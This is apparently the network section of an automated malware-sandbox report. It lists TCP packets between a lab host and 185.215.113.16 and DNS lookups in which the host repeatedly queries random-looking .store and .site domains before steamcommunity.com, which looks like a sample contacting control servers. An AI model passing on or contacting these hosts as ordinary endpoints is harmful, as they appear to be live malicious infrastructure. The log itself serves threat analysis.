Oct 24, 2024 04:02:13.980751991 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.025845051 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.025866032 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.025924921 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.025943995 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.025978088 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.025990963 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.026004076 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.026021004 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.026034117 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.026043892 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.029701948 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.029752970 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.029759884 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.029772997 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.029787064 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.029807091 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.029819965 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.046639919 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.046705961 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.046710968 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.046725035 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.046752930 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.046766996 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.046813965 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.046827078 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.046838999 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.046859026 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.046880960 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.047015905 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047029018 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047040939 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047064066 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.047084093 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047094107 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.047096968 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047108889 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047128916 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.047158957 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.047713041 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047725916 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047738075 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047768116 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.047781944 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.047791958 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047805071 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.047830105 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.047842026 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.055537939 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.055598974 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.055609941 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.055613995 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.055646896 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.055659056 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.055660963 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.055686951 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.055690050 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.055701017 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.055702925 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.055712938 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.055737019 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.055762053 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.056219101 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056229115 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056263924 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.056334019 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056369066 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056375980 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.056380987 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056406975 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.056420088 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.056535959 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056549072 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056560040 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056571960 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056581974 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.056586027 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.056603909 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.056632042 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.056982040 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.057027102 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.057028055 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.057039022 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.057049990 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.057071924 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.057097912 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.097584963 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.097601891 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.097615957 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.097683907 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.097719908 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.140530109 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.140549898 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.140559912 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.140697956 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.140697956 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.142823935 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.142833948 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.142843962 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.142877102 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.142895937 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.146554947 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.146605968 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.146636963 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.146646976 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.146658897 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.146672964 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.146689892 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.146694899 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.146699905 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.146727085 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.146747112 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.163584948 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.163635969 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.163636923 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.163645029 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.163681984 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.163696051 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.163716078 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.163726091 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.163737059 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.163748980 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.163753986 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.163774014 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.163829088 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.163861036 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.163861036 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.164339066 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164350033 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164361000 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164377928 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.164386988 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164397001 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.164431095 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.164747953 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164758921 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164774895 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164798975 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.164815903 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.164819002 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164829969 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164839983 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.164859056 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.164881945 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.172406912 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172415972 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172435045 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172444105 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172447920 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.172470093 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.172478914 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.172619104 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172640085 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172672033 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.172682047 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.172744036 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172755003 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172766924 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172776937 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.172786951 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.172817945 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.173135042 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173178911 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.173197985 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173207998 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173219919 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173230886 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173245907 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.173276901 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.173644066 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173687935 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.173688889 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173700094 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173727989 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173732996 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.173738003 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173749924 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.173757076 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.173774958 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.173798084 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.174323082 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.174365044 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:14.174369097 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.174379110 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:14.174413919 CEST	49990	80	192.168.2.7	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 04:01:19.781300068 CEST	192.168.2.7	1.1.1.1	0x7fdc	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.852411985 CEST	192.168.2.7	1.1.1.1	0x8479	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.867249012 CEST	192.168.2.7	1.1.1.1	0xa4d4	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.879657030 CEST	192.168.2.7	1.1.1.1	0x2157	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.891673088 CEST	192.168.2.7	1.1.1.1	0x4470	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.916703939 CEST	192.168.2.7	1.1.1.1	0xe7c9	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.926054001 CEST	192.168.2.7	1.1.1.1	0xf6fa	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.937551022 CEST	192.168.2.7	1.1.1.1	0x9dda	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.949281931 CEST	192.168.2.7	1.1.1.1	0x303	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.963443041 CEST	192.168.2.7	1.1.1.1	0xba2c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:29.535590887 CEST	192.168.2.7	1.1.1.1	0xafb2	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.200416088 CEST	192.168.2.7	1.1.1.1	0xaeb7	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.211258888 CEST	192.168.2.7	1.1.1.1	0x9348	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.223181009 CEST	192.168.2.7	1.1.1.1	0xe332	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.233392954 CEST	192.168.2.7	1.1.1.1	0xe024	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.246392965 CEST	192.168.2.7	1.1.1.1	0xd3c	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.265399933 CEST	192.168.2.7	1.1.1.1	0x75e5	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.276030064 CEST	192.168.2.7	1.1.1.1	0x2949	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.286902905 CEST	192.168.2.7	1.1.1.1	0x4215	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.297859907 CEST	192.168.2.7	1.1.1.1	0x97f1	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.475173950 CEST	192.168.2.7	1.1.1.1	0x2734	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.486989021 CEST	192.168.2.7	1.1.1.1	0x8e68	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.501220942 CEST	192.168.2.7	1.1.1.1	0xacba	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.513628960 CEST	192.168.2.7	1.1.1.1	0xe341	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.525222063 CEST	192.168.2.7	1.1.1.1	0x6300	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.542448997 CEST	192.168.2.7	1.1.1.1	0xfc91	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.554394960 CEST	192.168.2.7	1.1.1.1	0x1687	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.565184116 CEST	192.168.2.7	1.1.1.1	0x4243	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.578057051 CEST	192.168.2.7	1.1.1.1	0x4ccf	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:29.866945982 CEST	192.168.2.7	1.1.1.1	0x61e8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:29.900964975 CEST	192.168.2.7	1.1.1.1	0x4d47	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:02:31.015418053 CEST	192.168.2.7	1.1.1.1	0xd490	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:31.015800953 CEST	192.168.2.7	1.1.1.1	0x9d9d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:31.028409958 CEST	192.168.2.7	1.1.1.1	0xe569	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:31.030287981 CEST	192.168.2.7	1.1.1.1	0x3155	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:31.036835909 CEST	192.168.2.7	1.1.1.1	0xae41	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:02:31.039844036 CEST	192.168.2.7	1.1.1.1	0x8d34	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 24, 2024 04:02:32.490470886 CEST	192.168.2.7	1.1.1.1	0x8f2c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.494292021 CEST	192.168.2.7	1.1.1.1	0x7881	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.607367039 CEST	192.168.2.7	1.1.1.1	0x6cc9	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:02:32.607958078 CEST	192.168.2.7	1.1.1.1	0xf76f	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.608334064 CEST	192.168.2.7	1.1.1.1	0x6f0d	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.634898901 CEST	192.168.2.7	1.1.1.1	0xb5f7	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.651698112 CEST	192.168.2.7	1.1.1.1	0x3e00	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:02:33.656443119 CEST	192.168.2.7	1.1.1.1	0x9464	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:33.677443027 CEST	192.168.2.7	1.1.1.1	0x84c4	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:33.686733007 CEST	192.168.2.7	1.1.1.1	0x79f1	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:33.705694914 CEST	192.168.2.7	1.1.1.1	0x9309	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:02:34.229578972 CEST	192.168.2.7	1.1.1.1	0x5e77	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:34.266005039 CEST	192.168.2.7	1.1.1.1	0x4471	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:34.301146030 CEST	192.168.2.7	1.1.1.1	0x6df3	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:02:35.502473116 CEST	192.168.2.7	1.1.1.1	0x1ea8	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.689683914 CEST	192.168.2.7	1.1.1.1	0x53c7	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.704652071 CEST	192.168.2.7	1.1.1.1	0xdaf0	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.718063116 CEST	192.168.2.7	1.1.1.1	0xdacf	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.729634047 CEST	192.168.2.7	1.1.1.1	0x2fcf	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.741925955 CEST	192.168.2.7	1.1.1.1	0x98ce	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.755265951 CEST	192.168.2.7	1.1.1.1	0x1a31	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.768281937 CEST	192.168.2.7	1.1.1.1	0xa00b	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.784176111 CEST	192.168.2.7	1.1.1.1	0x1291	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.802386999 CEST	192.168.2.7	1.1.1.1	0xa360	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:05.044821978 CEST	192.168.2.7	1.1.1.1	0x18f8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:03:05.108402014 CEST	192.168.2.7	1.1.1.1	0xb8f3	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:03:05.109160900 CEST	192.168.2.7	1.1.1.1	0xec6d	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:03:05.110369921 CEST	192.168.2.7	1.1.1.1	0x7252	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:05.171545982 CEST	192.168.2.7	1.1.1.1	0x38e4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:03:11.929176092 CEST	192.168.2.7	1.1.1.1	0x2dd8	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:19.468338966 CEST	192.168.2.7	1.1.1.1	0x3972	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:03:19.762007952 CEST	192.168.2.7	1.1.1.1	0xfb29	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:03:19.773811102 CEST	192.168.2.7	1.1.1.1	0xa766	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:03:19.851044893 CEST	192.168.2.7	1.1.1.1	0x3b56	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:19.903475046 CEST	192.168.2.7	1.1.1.1	0xa039	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:03:20.370148897 CEST	192.168.2.7	1.1.1.1	0x7fdf	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:24.849181890 CEST	192.168.2.7	1.1.1.1	0x32c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.115506887 CEST	192.168.2.7	1.1.1.1	0x2916	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.116414070 CEST	192.168.2.7	1.1.1.1	0x91b6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.125562906 CEST	192.168.2.7	1.1.1.1	0x7854	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:03:50.126779079 CEST	192.168.2.7	1.1.1.1	0x6391	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.152693987 CEST	192.168.2.7	1.1.1.1	0x3672	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
